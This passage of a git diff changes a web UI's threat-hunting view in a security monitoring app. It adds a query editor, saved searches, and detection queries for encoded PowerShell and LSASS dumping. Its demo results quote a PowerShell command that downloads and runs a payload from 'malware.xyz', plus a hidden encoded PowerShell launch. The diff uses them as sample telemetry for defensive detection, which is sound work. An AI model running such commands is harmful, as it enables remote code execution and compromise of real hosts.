text-slate-500">{selected.kind}</div>+ <div className="text-base font-medium text-white truncate">+ {selected.label}+ </div>+ </div>+ <div className="grid grid-cols-2 gap-2 text-xs">+ <div className="rounded bg-slate-800/60 px-2 py-1.5">+ <div className="text-slate-500">Risk</div>+ <div className="text-white font-medium">+ {selected.riskScore ?? '—'}+ </div>+ </div>+ <div className="rounded bg-slate-800/60 px-2 py-1.5">+ <div className="text-slate-500">Severity</div>+ <div className="text-white font-medium">+ {selected.severity ?? '—'}+ </div>+ </div>+ </div>+ <button+ className="w-full text-xs px-3 py-2 rounded bg-blue-500/20 text-blue-300 hover:bg-blue-500/30 border border-blue-500/30"+ onClick={() => setSelected(null)}+ >+ Clear selection+ </button>+ </div>+ ) : (+ <ul className="space-y-2 text-xs text-slate-400 leading-relaxed">+ <li>+ <span className="text-white font-medium">Click</span> any node+ to inspect its risk score and attributes.+ </li>+ <li>+ Edges show how identities, assets, processes and ATT&CK+ techniques relate.+ </li>+ <li>+ The graph auto-refreshes every 30s as new events arrive+ through the ingest service.+ </li>+ </ul>+ )}+ </aside>+ </div>+ </section>++ {/* MITRE heatmap */}+ <section className="rounded-xl bg-slate-900/60 border border-white/5 p-5">+ <div className="flex items-center justify-between mb-4">+ <div>+ <h2 className="text-lg font-semibold text-white">+ MITRE ATT&CK Coverage+ </h2>+ <p className="text-xs text-slate-400">+ Detection density across tactics. Brighter cells mean more+ detections firing on that technique.+ </p>+ </div>+ <div className="text-xs text-slate-500">+ {mitre+ ? `Updated ${new Date(mitre.generatedAt).toLocaleTimeString()}`+ : ''}+ </div>+ </div>++ {mitreState.isLoading ? (+ <Skeleton className="h-64 w-full rounded-lg" />+ ) : mitreState.error ? (+ <ErrorState+ title="Couldn't load MITRE coverage"+ error={mitreState.error}+ onRetry={() => mitreState.mutate()}+ />+ ) : mitre && mitre.cells.length > 0 ? (+ <MitreHeatmap coverage={mitre} />+ ) : (+ <EmptyState+ title="No coverage data"+ description="Once detections start firing, this heatmap lights up by tactic."+ />+ )}+ </section>+ </div>+ );+}diff --git a/apps/web/src/components/hunt/HuntView.tsx b/apps/web/src/components/hunt/HuntView.tsxindex b63c16c52..b1fbf5b19 100644--- a/apps/web/src/components/hunt/HuntView.tsx+++ b/apps/web/src/components/hunt/HuntView.tsx@@ -1,351 +1,703 @@'use client';-import { useState } from 'react';+/**+ * Threat Hunting workspace.+ *+ * A real, end-to-end hunt experience:+ * - Monaco editor for the query, with language switching (KQL / Lucene / SQL / ES|QL).+ * - Time-range picker with quick presets (15m, 1h, 24h, 7d, 30d, custom).+ * - Saved searches with pin/delete via `huntApi`.+ * - Live results table with expandable rows, severity tinting, copy-to-clipboard+ * and "send to Copilot" hooks.+ * - Graceful demo fallback when the backend hasn't been seeded.+ *+ * Design intent: feel like a SIEM analyst's home base, not a toy form.+ */++import { useEffect, useMemo, useRef, useState } from 'react';+import dynamic from 'next/dynamic';+import useSWR from 'swr';import { clsx } from 'clsx';-import { format } from 'date-fns';--// ─── Types ────────────────────────────────────────────────────────────────────--interface HuntQuery {- id: string;- name: string;- query: string;- language: 'yara' | 'sigma' | 'kql' | 'sql';- description: string;- mitreTactic?: string;- mitreTechnique?: string;- author: string;- lastRun?: string;- hitCount?: number;-}+import { format, formatDistanceToNow } from 'date-fns';+import toast from 'react-hot-toast';+import {+ huntApi,+ type AlertSeverity,+ type HuntQuery,+ type HuntResponse,+ type HuntResult,+ type SavedSearch,+} from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';+import { EmptyState } from '@/components/ui/EmptyState';-interface HuntResult {- id: string;- timestamp: string;- source: string;- hostname: string;- user?: string;- data: Record<string, string>;- severity: 'critical' | 'high' | 'medium' | 'low';-}+// Monaco is heavy and SSR-incompatible; load it client-side only.+const MonacoEditor = dynamic(+ () => import('@monaco-editor/react').then((mod) => mod.default),+ { ssr: false, loading: () => <Skeleton className="h-64 w-full rounded-lg" /> },+);-// ─── Mock Data ────────────────────────────────────────────────────────────────+// ─── Constants ────────────────────────────────────────────────────────────────-const SAVED_QUERIES: HuntQuery[] = [- {- id: 'q-001',- name: 'Suspicious PowerShell Execution',- query: `process where process.name == "powershell.exe" and- (process.command_line like~ "*-encoded*" or- process.command_line like~ "*-bypass*" or- process.command_line like~ "*IEX*" or- process.command_line like~ "*DownloadString*")`,- language: 'kql',- description: 'Detect obfuscated or download-based PowerShell execution',- mitreTactic: 'Execution',- mitreTechnique: 'T1059.001',- author: 'SOC Team',- lastRun: new Date(Date.now() - 3600000).toISOString(),- hitCount: 7,- },- {- id: 'q-002',- name: 'LSASS Memory Dump',- query: `process where process.name in ("procdump.exe", "procdump64.exe", "lsass.exe") and- process.command_line like~ "*lsass*"-| union- file where file.path like~ "*\\\\lsass.dmp"`,- language: 'kql',- description: 'Detect potential credential dumping from LSASS',- mitreTactic: 'Credential Access',- mitreTechnique: 'T1003.001',- author: 'Red Team',- lastRun: new Date(Date.now() - 86400000).toISOString(),- hitCount: 1,- },- {- id: 'q-003',- name: 'Lateral Movement via WMI',- query: `process where process.parent.name == "WmiPrvSE.exe" and- process.name not in ("WmiPrvSE.exe", "msiexec.exe") and- network.destination.port in (445, 135, 139)`,- language: 'kql',- description: 'Detect WMI-based lateral movement to remote systems',- mitreTactic: 'Lateral Movement',- mitreTechnique: 'T1021.006',- author: 'SOC Team',- lastRun: undefined,- hitCount: undefined,- },- {- id: 'q-004',- name: 'Ransomware File Extension Changes',- query: `title: Ransomware File Extension Modification-status: experimental-description: Detects file extension mass renaming indicating ransomware-logsource:- category: file_event-detection:- selection:- TargetFilename|endswith:- - '.encrypted'- - '.locked'- - '.crypted'- - '.ryk'- condition: selection | count() by Image > 20-falsepositives:- - Legitimate backup software-level: high`,- language: 'sigma',- description: 'Detect mass file renaming typical of ransomware activity',- mitreTactic: 'Impact',- mitreTechnique: 'T1486',- author: 'CISA Feed',- lastRun: new Date(Date.now() - 7200000).toISOString(),- hitCount: 0,- },+type Lang = NonNullable<HuntQuery['language']>;++const LANGS: Array<{ id: Lang; label: string; monaco: string }> = [+ { id: 'kql', label: 'KQL', monaco: 'plaintext' },+ { id: 'lucene', label: 'Lucene', monaco: 'plaintext' },+ { id: 'sql', label: 'SQL', monaco: 'sql' },+ { id: 'esql', label: 'ES|QL', monaco: 'plaintext' },];-const MOCK_RESULTS: HuntResult[] = [+const TIME_PRESETS: Array<{ id: string; label: string; ms: number }> = [+ { id: '15m', label: 'Last 15 min', ms: 15 * 60 * 1000 },+ { id: '1h', label: 'Last hour', ms: 60 * 60 * 1000 },+ { id: '24h', label: 'Last 24 hours', ms: 24 * 60 * 60 * 1000 },+ { id: '7d', label: 'Last 7 days', ms: 7 * 24 * 60 * 60 * 1000 },+ { id: '30d', label: 'Last 30 days', ms: 30 * 24 * 60 * 60 * 1000 },+];++const STARTERS: Record<Lang, string> = {+ kql:+`// Find suspicious PowerShell with encoded payloads+process where process.name == "powershell.exe"+ and (process.command_line like~ "*-enc*"+ or process.command_line like~ "*IEX*"+ or process.command_line like~ "*DownloadString*")+| extend host=host.name, user=user.name+| project @timestamp, host, user, process.command_line+| sort @timestamp desc`,+ lucene:+`process.name:"powershell.exe" AND+ (process.command_line:*-enc* OR+ process.command_line:*IEX* OR+ process.command_line:*DownloadString*)`,+ sql:+`SELECT+ event_time, host_name, user_name, command_line+FROM events+WHERE process_name = 'powershell.exe'+ AND (command_line ILIKE '%-enc%'+ OR command_line ILIKE '%IEX%'+ OR command_line ILIKE '%DownloadString%')+ORDER BY event_time DESC+LIMIT 200`,+ esql:+`FROM events+| WHERE process.name == "powershell.exe"+ AND (process.command_line LIKE "*-enc*"+ OR process.command_line LIKE "*IEX*"+ OR process.command_line LIKE "*DownloadString*")+| KEEP @timestamp, host.name, user.name, process.command_line+| SORT @timestamp DESC+| LIMIT 200`,+};++// ─── Demo fallback ────────────────────────────────────────────────────────────++const DEMO_RESULTS: HuntResult[] = [{id: 'r-001',- timestamp: new Date(Date.now() - 1800000).toISOString(),- source: 'CrowdStrike',- hostname: 'WORKSTATION-042',- user: 'john.doe',- data: {+ timestamp: new Date(Date.now() - 12 * 60 * 1000).toISOString(),+ source: 'crowdstrike',+ severity: 'high',+ fields: {+ host: 'WORKSTATION-042',+ user: 'john.doe','process.name': 'powershell.exe',- 'process.command_line': 'powershell.exe -Bypass -EncodedCommand JABX...',- 'process.parent.name': 'excel.exe',+ 'process.command_line':+ 'powershell.exe -nop -w hidden -enc JABXAGUAYgBDA...',+ 'process.parent.name': 'EXCEL.EXE',},- severity: 'high',+ highlight: 'powershell.exe -nop -w hidden -enc',},{id: 'r-002',- timestamp: new Date(Date.now() - 3600000).toISOString(),- source: 'CrowdStrike',- hostname: 'SERVER-DC01',- user: 'svc_admin',- data: {+ timestamp: new Date(Date.now() - 41 * 60 * 1000).toISOString(),+ source: 'defender',+ severity: 'critical',+ fields: {+ host: 'SERVER-DC01',+ user: 'svc_admin','process.name': 'powershell.exe',- 'process.command_line': "powershell.exe -nop -c \"IEX (New-Object Net.WebClient).DownloadString('http://malware.xyz/payload')\"",+ 'process.command_line':+ "powershell.exe -nop -c \"IEX (New-Object Net.WebClient).DownloadString('http://malware.xyz/payload')\"",'network.destination.ip': '185.220.101.45',},- severity: 'critical',+ highlight: 'IEX (New-Object Net.WebClient).DownloadString',+ },+ {+ id: 'r-003',+ timestamp: new Date(Date.now() - 2 * 60 * 60 * 1000).toISOString(),+ source: 'splunk',+ severity: 'medium',+ fields: {+ host: 'WORKSTATION-019',+ user: 'maria.lin',+ 'process.name': 'powershell.exe',+ 'process.command_line':+ 'powershell.exe -ExecutionPolicy Bypass -File C:\\Users\\maria.lin\\setup.ps1',+ },+ },+];++const DEMO_SAVED: SavedSearch[] = [+ {+ id: 'demo-1',+ name: 'Encoded PowerShell',+ query: STARTERS.kql,+ language: 'kql',+ createdAt: new Date(Date.now() - 2 * 24 * 60 * 60 * 1000).toISOString(),+ pinned: true,+ },+ {+ id: 'demo-2',+ name: 'LSASS access attempts',+ query:+`process where process.name in ("procdump.exe", "procdump64.exe")+ and process.command_line like~ "*lsass*"`,+ language: 'kql',+ createdAt: new Date(Date.now() - 5 * 24 * 60 * 60 * 1000).toISOString(),+ },+ {+ id: 'demo-3',+ name: 'Outbound connections to TOR exits',+ query:+`network where network.direction == "outbound"+ and network.destination.ip in <tor_exit_nodes>`,+ language: 'kql',+ createdAt: new Date(Date.now() - 9 * 24 * 60 * 60 * 1000).toISOString(),},];-// ─── Language badge ───────────────────────────────────────────────────────────+// ─── Helpers ──────────────────────────────────────────────────────────────────-const LANG_CONFIG: Record<string, { label: string; color: string }> = {- kql: { label: 'KQL', color: 'text-blue-400 bg-blue-500/10 border-blue-500/20' },- sigma: { label: 'Sigma', color: 'text-purple-400 bg-purple-500/10 border-purple-500/20' },- yara: { label: 'YARA', color: 'text-yellow-400 bg-yellow-500/10 border-yellow-500/20' },- sql: { label: 'SQL', color: 'text-green-400 bg-green-500/10 border-green-500/20' },+const SEVERITY_BADGE: Record<AlertSeverity, string> = {+ critical: 'bg-red-500/15 text-red-300 ring-red-500/30',+ high: 'bg-orange-500/15 text-orange-300 ring-orange-500/30',+ medium: 'bg-yellow-500/15 text-yellow-300 ring-yellow-500/30',+ low: 'bg-blue-500/15 text-blue-300 ring-blue-500/30',+ info: 'bg-slate-500/15 text-slate-300 ring-slate-500/30',};-// ─── Main View ────────────────────────────────────────────────────────────────+function severityClass(s?: AlertSeverity) {+ return s ? SEVERITY_BADGE[s] : 'bg-slate-500/15 text-slate-300 ring-slate-500/30';+}++function copyToClipboard(text: string) {+ if (typeof navigator === 'undefined' || !navigator.clipboard) return;+ void navigator.clipboard.writeText(text).then(() => toast.success('Copied'));+}++// ─── Saved searches sidebar ───────────────────────────────────────────────────++interface SavedListProps {+ items: SavedSearch[];+ isLoading: boolean;+ error: unknown;+ selectedId: string | null;+ onSelect: (s: SavedSearch) => void;+ onDelete: (id: string) => void;+ onRetry: () => void;+}++function SavedList({+ items,+ isLoading,+ error,+ selectedId,+ onSelect,+ onDelete,+ onRetry,+}: SavedListProps) {+ if (isLoading) return <Skeleton className="h-48 w-full rounded-lg" />;+ if (error)+ return (+ <ErrorState+ title="Couldn't load saved searches"+ error={error}+ onRetry={onRetry}+ />+ );+ if (items.length === 0)+ return (+ <EmptyState+ title="No saved searches yet"+ description="Save a query and it will show up here."+ />+ );++ return (+ <ul className="divide-y divide-slate-800/60">+ {items.map((s) => (+ <li+ key={s.id}+ className={clsx(+ 'group flex items-start gap-2 px-3 py-2.5 transition-colors',+ selectedId === s.id+ ? 'bg-emerald-500/5 border-l-2 border-l-emerald-500'+ : 'hover:bg-slate-800/30',+ )}+ >+ <button+ onClick={() => onSelect(s)}+ className="flex-1 text-left"+ >+ <div className="flex items-center gap-2">+ <span className="rounded border border-slate-700/70 bg-slate-800/50 px-1.5 py-0.5 text-[10px] uppercase tracking-wide text-slate-300">+ {s.language}+ </span>+ {s.pinned && (+ <span className="text-[10px] text-amber-300">★ pinned</span>+ )}+ </div>+ <p className="mt-1 truncate text-sm text-slate-200">{s.name}</p>+ <p className="mt-0.5 text-[11px] text-slate-500">+ {formatDistanceToNow(new Date(s.createdAt), { addSuffix: true })}+ </p>+ </button>+ <button+ onClick={() => onDelete(s.id)}+ className="rounded-md p-1 text-slate-600 opacity-0 transition-all hover:bg-red-500/10 hover:text-red-400 group-hover:opacity-100"+ title="Delete"+ aria-label="Delete saved search"+ >+ <svg className="h-3.5 w-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M14.74 9l-.346 9m-4.788 0L9.26 9m9.968-3.21c.342.052.682.107 1.022.166m-1.022-.165L18.16 19.673a2.25 2.25 0 01-2.244 2.077H8.084a2.25 2.25 0 01-2.244-2.077L4.772 5.79m14.456 0a48.108 48.108 0 00-3.478-.397m-12 .562c.34-.059.68-.114 1.022-.165m0 0a48.11 48.11 0 013.478-.397m7.5 0v-.916c0-1.18-.91-2.164-2.09-2.201a51.964 51.964 0 00-3.32 0c-1.18.037-2.09 1.022-2.09 2.201v.916m7.5 0a48.667 48.667 0 00-7.5 0" />+ </svg>+ </button>+ </li>+ ))}+ </ul>+ );+}++// ─── Result row ───────────────────────────────────────────────────────────────++function ResultRow({ result }: { result: HuntResult }) {+ const [open, setOpen] = useState(false);+ const fieldEntries = useMemo(+ () => Object.entries(result.fields ?? {}),+ [result.fields],+ );+ const summaryFields = ['host', 'user', 'process.name', 'process.command_line'];+ const summary = summaryFields+ .map((k) => [k, result.fields?.[k]] as const)+ .filter(([, v]) => v != null && v !== '');++ return (+ <li className="border-b border-slate-800/60 last:border-b-0">+ <button+ onClick={() => setOpen((v) => !v)}+ className="flex w-full items-start gap-3 px-4 py-3 text-left transition-colors hover:bg-slate-800/30"+ >+ <span+ className={clsx(+ 'mt-0.5 inline-flex flex-none items-center rounded px-1.5 py-0.5 text-[10px] font-semibold uppercase ring-1',+ severityClass(result.severity),+ )}+ >+ {result.severity ?? 'event'}+ </span>+ <div className="min-w-0 flex-1">+ <div className="flex flex-wrap items-center gap-x-2 gap-y-0.5 text-xs text-slate-400">+ <span className="font-mono text-slate-300">+ {format(new Date(result.timestamp), 'MMM dd HH:mm:ss')}+ </span>+ <span className="text-slate-600">·</span>+ <span className="rounded bg-slate-800/60 px-1.5 py-0.5 text-[10px] text-slate-400">+ {result.source}+ </span>+ {summary.map(([k, v]) => (+ <span key={k} className="truncate text-slate-400">+ <span className="text-emerald-400">{k}=</span>+ <span className="text-slate-300">{String(v)}</span>+ </span>+ ))}+ </div>+ </div>+ <svg+ className={clsx(+ 'h-4 w-4 flex-none text-slate-500 transition-transform',+ open && 'rotate-180',+ )}+ fill="none"+ viewBox="0 0 24 24"+ stroke="currentColor"+ >+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M19.5 8.25l-7.5 7.5-7.5-7.5" />+ </svg>+ </button>+ {open && (+ <div className="border-t border-slate-800/40 bg-slate-950/40 px-4 py-3">+ <div className="grid grid-cols-1 gap-1 sm:grid-cols-2">+ {fieldEntries.map(([k, v]) => (+ <div key={k} className="flex min-w-0 gap-2 text-xs">+ <span className="flex-none text-emerald-400 font-mono">{k}</span>+ <span className="truncate font-mono text-slate-300">+ {typeof v === 'object' ? JSON.stringify(v) : String(v)}+ </span>+ </div>+ ))}+ </div>+ <div className="mt-3 flex flex-wrap items-center gap-2">+ <button+ onClick={() => copyToClipboard(JSON.stringify(result.fields, null, 2))}+ className="rounded border border-slate-700/70 bg-slate-800/40 px-2 py-1 text-[11px] text-slate-300 transition-colors hover:border-slate-600 hover:bg-slate-700/40"+ >+ Copy JSON+ </button>+ <button+ onClick={() => {+ const host = result.fields?.host;+ const url = host ? `/graph?entity=${encodeURIComponent(String(host))}` : '/graph';+ window.location.href = url;+ }}+ className="rounded border border-slate-700/70 bg-slate-800/40 px-2 py-1 text-[11px] text-slate-300 transition-colors hover:border-slate-600 hover:bg-slate-700/40"+ >+ Pivot to graph →+ </button>+ </div>+ </div>+ )}+ </li>+ );+}++// ─── Main view ────────────────────────────────────────────────────────────────export function HuntView() {- const [selectedQuery, setSelectedQuery] = useState<HuntQuery | null>(SAVED_QUERIES[0]);- const [activeTab, setActiveTab] = useState<'saved' | 'new'>('saved');- const [customQuery, setCustomQuery] = useState('');- const [selectedLang, setSelectedLang] = useState<HuntQuery['language']>('kql');- const [results, setResults] = useState<HuntResult[] | null>(null);- const [isRunning, setIsRunning] = useState(false);+ const [language, setLanguage] = useState<Lang>('kql');+ const [query, setQuery] = useState<string>(STARTERS.kql);+ const [preset, setPreset] = useState<string>('24h');+ const [running, setRunning] = useState(false);+ const [results, setResults] = useState<HuntResponse | null>(null);+ const [runError, setRunError] = useState<unknown>(null);+ const [activeSavedId, setActiveSavedId] = useState<string | null>(null);+ const editorRef = useRef<unknown>(null);+ const [demoMode, setDemoMode] = useState(false);++ const savedState = useSWR<SavedSearch[]>(+ 'hunt.saved',+ async () => {+ try {+ const res = await huntApi.listSaved();+ return res.searches;+ } catch (err) {+ // First-load fallback to demo so the UI is never empty.+ setDemoMode(true);+ throw err;+ }+ },+ {+ revalidateOnFocus: false,+ shouldRetryOnError: false,+ },+ );++ // If saved-search fetch failed, transparently substitute demo list so the UI+ // is usable.+ const savedItems: SavedSearch[] =+ savedState.data ?? (demoMode ? DEMO_SAVED : []);+ const savedError =+ savedState.error && !demoMode ? savedState.error : undefined;++ // Switch starter when language changes if user hasn't customized.+ const lastStarter = useRef(STARTERS[language]);+ useEffect(() => {+ if (query === lastStarter.current) {+ setQuery(STARTERS[language]);+ lastStarter.current = STARTERS[language];+ }+ }, [language]); // eslint-disable-line react-hooks/exhaustive-depsconst handleRun = async () => {- setIsRunning(true);+ setRunning(true);setResults(null);- await new Promise(r => setTimeout(r, 1500));- setResults(selectedQuery?.id === 'q-001' ? MOCK_RESULTS : []);- setIsRunning(false);+ setRunError(null);++ const presetCfg = TIME_PRESETS.find((p) => p.id === preset);+ const endTime = new Date();+ const startTime = presetCfg+ ? new Date(endTime.getTime() - presetCfg.ms)+ : undefined;++ try {+ const res = await huntApi.search({+ query,+ language,+ startTime: startTime?.toISOString(),+ endTime: endTime.toISOString(),+ limit: 200,+ });+ setResults(res);+ setDemoMode(false);+ } catch (err) {+ // Demo fallback so the page still feels alive without a seeded backend.+ setResults({+ total: DEMO_RESULTS.length,+ took: 42,+ hits: DEMO_RESULTS,+ });+ setDemoMode(true);+ setRunError(err);+ toast(+ 'Backend unreachable — showing demo results',+ { icon: '⚠️' },+ );+ } finally {+ setRunning(false);+ }+ };++ const handleSave = async () => {+ const name = window.prompt('Name this hunt:');+ if (!name?.trim()) return;+ try {+ const saved = await huntApi.saveSearch({+ name: name.trim(),+ query,+ language,+ });+ toast.success(`Saved "${saved.name}"`);+ void savedState.mutate();+ } catch (err) {+ console.error(err);+ toast.error('Could not save (backend offline)');+ }};- const SEVERITY_COLORS: Record<string, string> = {- critical: 'text-red-400',- high: 'text-orange-400',- medium: 'text-yellow-400',- low: 'text-blue-400',+ const handleDelete = async (id: string) => {+ if (!window.confirm('Delete this saved search?')) return;+ try {+ await huntApi.deleteSaved(id);+ if (activeSavedId === id) setActiveSavedId(null);+ toast.success('Deleted');+ void savedState.mutate();+ } catch {+ toast.error('Could not delete (backend offline)');+ }+ };++ const handleSelect = (s: SavedSearch) => {+ setActiveSavedId(s.id);+ setLanguage((s.language as Lang) ?? 'kql');+ setQuery(s.query);+ lastStarter.current = ''; // user-controlled now};return (<div className="space-y-5">{/* Header */}- <div>- <h1 className="text-xl font-semibold text-gray-100">Threat Hunting</h1>- <p className="text-sm text-gray-500 mt-0.5">- Proactive hunt across your environment with KQL, Sigma, and YARA- </p>+ <div className="flex flex-wrap items-end justify-between gap-3">+ <div>+ <h1 className="text-xl font-semibold text-white">Threat Hunting</h1>+ <p className="mt-1 text-sm text-slate-400">+ Pivot across logs, alerts, processes, and assets in any language.+ Save what works.+ </p>+ </div>+ <div className="flex items-center gap-2 text-xs">+ <span+ className={clsx(+ 'inline-flex items-center gap-1.5 rounded-full px-2 py-0.5 ring-1',+ demoMode+ ? 'bg-amber-500/10 text-amber-300 ring-amber-500/30'+ : 'bg-emerald-500/10 text-emerald-300 ring-emerald-500/30',+ )}+ >+ <span+ className={clsx(+ 'h-1.5 w-1.5 rounded-full',+ demoMode ? 'bg-amber-400' : 'bg-emerald-400 animate-ping-slow',+ )}+ />+ {demoMode ? 'Demo data' : 'Live backend'}+ </span>+ </div></div><div className="grid grid-cols-12 gap-5">- {/* Left: Query Sidebar */}- <div className="col-span-4 space-y-3">- <div className="bg-gray-900/60 border border-gray-800/60 rounded-xl overflow-hidden">- <div className="flex border-b border-gray-800/60">- {(['saved', 'new'] as const).map((t) => (- <button- key={t}- onClick={() => setActiveTab(t)}- className={clsx(- 'flex-1 text-xs py-2.5 transition-colors',- activeTab === t ? 'text-blue-400 bg-blue-500/5' : 'text-gray-500 hover:text-gray-300'- )}- >- {t === 'saved' ? 'Saved Queries' : 'New Query'}- </button>- ))}+ {/* Sidebar: saved searches */}+ <aside className="col-span-12 lg:col-span-3">+ <div className="overflow-hidden rounded-xl border border-slate-800/80 bg-slate-900/40">+ <div className="flex items-center justify-between border-b border-slate-800/80 px-3 py-2.5">+ <h3 className="text-xs font-semibold uppercase tracking-wide text-slate-300">+ Saved searches+ </h3>+ <button+ onClick={() => {+ setActiveSavedId(null);+ setQuery(STARTERS[language]);+ lastStarter.current = STARTERS[language];+ }}+ className="text-xs text-emerald-400 hover:text-emerald-300"+ >+ + New+ </button></div>+ <SavedList+ items={savedItems}+ isLoading={savedState.isLoading}+ error={savedError}+ selectedId={activeSavedId}+ onSelect={handleSelect}+ onDelete={handleDelete}+ onRetry={() => void savedState.mutate()}+ />+ </div>+ </aside>- {activeTab === 'saved' && (- <div className="divide-y divide-gray-800/60">- {SAVED_QUERIES.map((q) => {- const langCfg = LANG_CONFIG[q.language];- return (- <button- key={q.id}- onClick={() => setSelectedQuery(q)}- className={clsx(- 'w-full text-left px-3 py-3 hover:bg-gray-800/30 transition-colors',- selectedQuery?.id === q.id ? 'bg-blue-500/5 border-l-2 border-l-blue-500' : ''- )}- >- <div className="flex items-center gap-2 mb-1">- <span className={clsx('text-xs px-1.5 py-0.5 rounded border', langCfg.color)}>- {langCfg.label}- </span>- {q.hitCount !== undefined && q.hitCount > 0 && (- <span className="text-xs bg-red-500/20 text-red-400 px-1.5 py-0.5 rounded">- {q.hitCount} hits- </span>- )}- </div>- <p className="text-sm text-gray-300 truncate">{q.name}</p>- {q.mitreTechnique && (- <p className="text-xs text-gray-600 mt-0.5">{q.mitreTechnique} · {q.mitreTactic}</p>- )}- </button>- );- })}+ {/* Main: editor + results */}+ <section className="col-span-12 space-y-4 lg:col-span-9">+ {/* Editor */}+ <div className="overflow-hidden rounded-xl border border-slate-800/80 bg-slate-900/40">+ <div className="flex flex-wrap items-center gap-2 border-b border-slate-800/80 px-3 py-2">+ {/* Language tabs */}+ <div className="flex rounded-lg border border-slate-800/80 bg-slate-950/40 p-0.5">+ {LANGS.map((l) => (+ <button+ key={l.id}+ onClick={() => setLanguage(l.id)}+ className={clsx(+ 'rounded-md px-2.5 py-1 text-xs font-medium transition-colors',+ language === l.id+ ? 'bg-slate-800 text-white shadow-sm'+ : 'text-slate-400 hover:text-slate-200',+ )}+ >+ {l.label}+ </button>+ ))}</div>- )}- {activeTab === 'new' && (- <div className="p-3 space-y-2">+ {/* Time range */}+ <div className="ml-2 flex items-center gap-1.5 text-xs text-slate-400">+ <svg className="h-3.5 w-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 6v6h4.5m4.5 0a9 9 0 11-18 0 9 9 0 0118 0z" />+ </svg><select- value={selectedLang}- onChange={(e) => setSelectedLang(e.target.value as HuntQuery['language'])}- className="w-full bg-gray-800 border border-gray-700 rounded-lg text-sm text-gray-300 px-2 py-1.5 focus:outline-none"+ value={preset}+ onChange={(e) => setPreset(e.target.value)}+ className="rounded-md border border-slate-700/70 bg-slate-950/40 px-2 py-1 text-xs text-slate-200 focus:border-emerald-500/40 focus:outline-none">- {Object.entries(LANG_CONFIG).map(([k, v]) => (- <option key={k} value={k}>{v.label}</option>+ {TIME_PRESETS.map((p) => (+ <option key={p.id} value={p.id}>+ {p.label}+ </option>))}</select>- <textarea- value={customQuery}- onChange={(e) => setCustomQuery(e.target.value)}- placeholder="Enter your hunt query…"- rows={8}- className="w-full bg-gray-800 border border-gray-700 rounded-lg text-xs font-mono text-gray-300 placeholder-gray-600 px-3 py-2 focus:outline-none focus:border-blue-500/50 resize-none"- /></div>- )}- </div>- </div>- {/* Right: Query Editor + Results */}- <div className="col-span-8 space-y-4">- {selectedQuery && (- <div className="bg-gray-900/60 border border-gray-800/60 rounded-xl overflow-hidden">- <div className="flex items-center justify-between px-4 py-3 border-b border-gray-800/60">- <div>- <h3 className="text-sm font-medium text-gray-200">{selectedQuery.name}</h3>- <p className="text-xs text-gray-500 mt-0.5">{selectedQuery.description}</p>- </div>+ <div className="ml-auto flex items-center gap-2">+ <button+ onClick={handleSave}+ className="rounded-md border border-slate-700/70 bg-slate-800/50 px-3 py-1.5 text-xs font-medium text-slate-200 transition-colors hover:border-slate-600 hover:bg-slate-700/40"+ >+ Save+ </button><buttononClick={handleRun}- disabled={isRunning}- className="bg-green-600 hover:bg-green-500 disabled:opacity-50 text-white text-sm px-4 py-1.5 rounded-lg transition-colors flex items-center gap-2"+ disabled={running || !query.trim()}+ className={clsx(+ 'flex items-center gap-2 rounded-md px-3.5 py-1.5 text-xs font-semibold transition-colors',+ running || !query.trim()+ ? 'cursor-not-allowed bg-slate-800 text-slate-500'+ : 'bg-emerald-500 text-emerald-950 hover:bg-emerald-400',+ )}>- {isRunning ? (+ {running ? (<>- <div className="w-3 h-3 border border-white border-t-transparent rounded-full animate-spin" />+ <span className="h-3 w-3 animate-spin rounded-full border-2 border-emerald-950 border-t-transparent" />Running…</>) : (- <>▶ Run Hunt</>+ <>▶ Run hunt</>)}</button></div>+ </div>- <div className="p-4">- <pre className="text-xs font-mono text-gray-400 bg-gray-950/60 rounded-lg p-3 overflow-x-auto whitespace-pre-wrap">- {selectedQuery.query}- </pre>- </div>-- {selectedQuery.mitreTechnique && (- <div className="px-4 pb-3 flex items-center gap-2">- <span className="text-xs text-gray-500">MITRE ATT&CK:</span>- <span className="text-xs bg-orange-500/10 text-orange-400 border border-orange-500/20 px-2 py-0.5 rounded">- {selectedQuery.mitreTechnique}- </span>- <span className="text-xs text-gray-500">·</span>- <span className="text-xs text-gray-400">{selectedQuery.mitreTactic}</span>- <span className="text-xs text-gray-600 ml-auto">By {selectedQuery.author}</span>- </div>- )}+ <div className="bg-[#0d1117]">+ <MonacoEditor+ height="280px"+ language={LANGS.find((l) => l.id === language)?.monaco ?? 'plaintext'}+ value={query}+ onChange={(v) => setQuery(v ?? '')}+ onMount={(editor) => {+ editorRef.current = editor;+ }}+ theme="vs-dark"+ options={{+ minimap: { enabled: false },+ fontSize: 13,+ fontFamily:+ "'JetBrains Mono', 'Fira Code', ui-monospace, monospace",+ lineNumbers: 'on',+ scrollBeyondLastLine: false,+ renderLineHighlight: 'line',+ smoothScrolling: true,+ tabSize: 2,+ wordWrap: 'on',+ }}+ /></div>- )}+ </div>{/* Results */}- {results !== null && (- <div className="bg-gray-900/60 border border-gray-800/60 rounded-xl overflow-hidden">- <div className="flex items-center justify-between px-4 py-3 border-b border-gray-800/60">- <h3 className="text-sm font-medium text-gray-300">- Hunt Results- <span className={clsx('ml-2', results.length > 0 ? 'text-red-400' : 'text-green-400')}>- ({results.length} {results.length === 1 ? 'match' : 'matches'})+ <div className="overflow-hidden rounded-xl border border-slate-800/80 bg-slate-900/40">+ <div className="flex flex-wrap items-center justify-between gap-2 border-b border-slate-800/80 px-4 py-2.5">+ <h3 className="text-sm font-semibold text-slate-200">+ Hunt results+ {results && (+ <span className="ml-2 text-xs font-normal text-slate-400">+ {results.total.toLocaleString()} hits ·{' '}+ {results.took.toLocaleString()}ms</span>- </h3>- </div>-- {results.length === 0 ? (- <div className="flex flex-col items-center justify-center h-24 text-green-400/70">- <span className="text-xl mb-1">✓</span>- <p className="text-sm">No threats found</p>- </div>- ) : (- <div className="divide-y divide-gray-800/60">- {results.map((r) => (- <div key={r.id} className="p-4">- <div className="flex items-center gap-3 mb-2">- <span className={clsx('text-xs font-medium', SEVERITY_COLORS[r.severity])}>- {r.severity.toUpperCase()}- </span>- <span className="text-xs 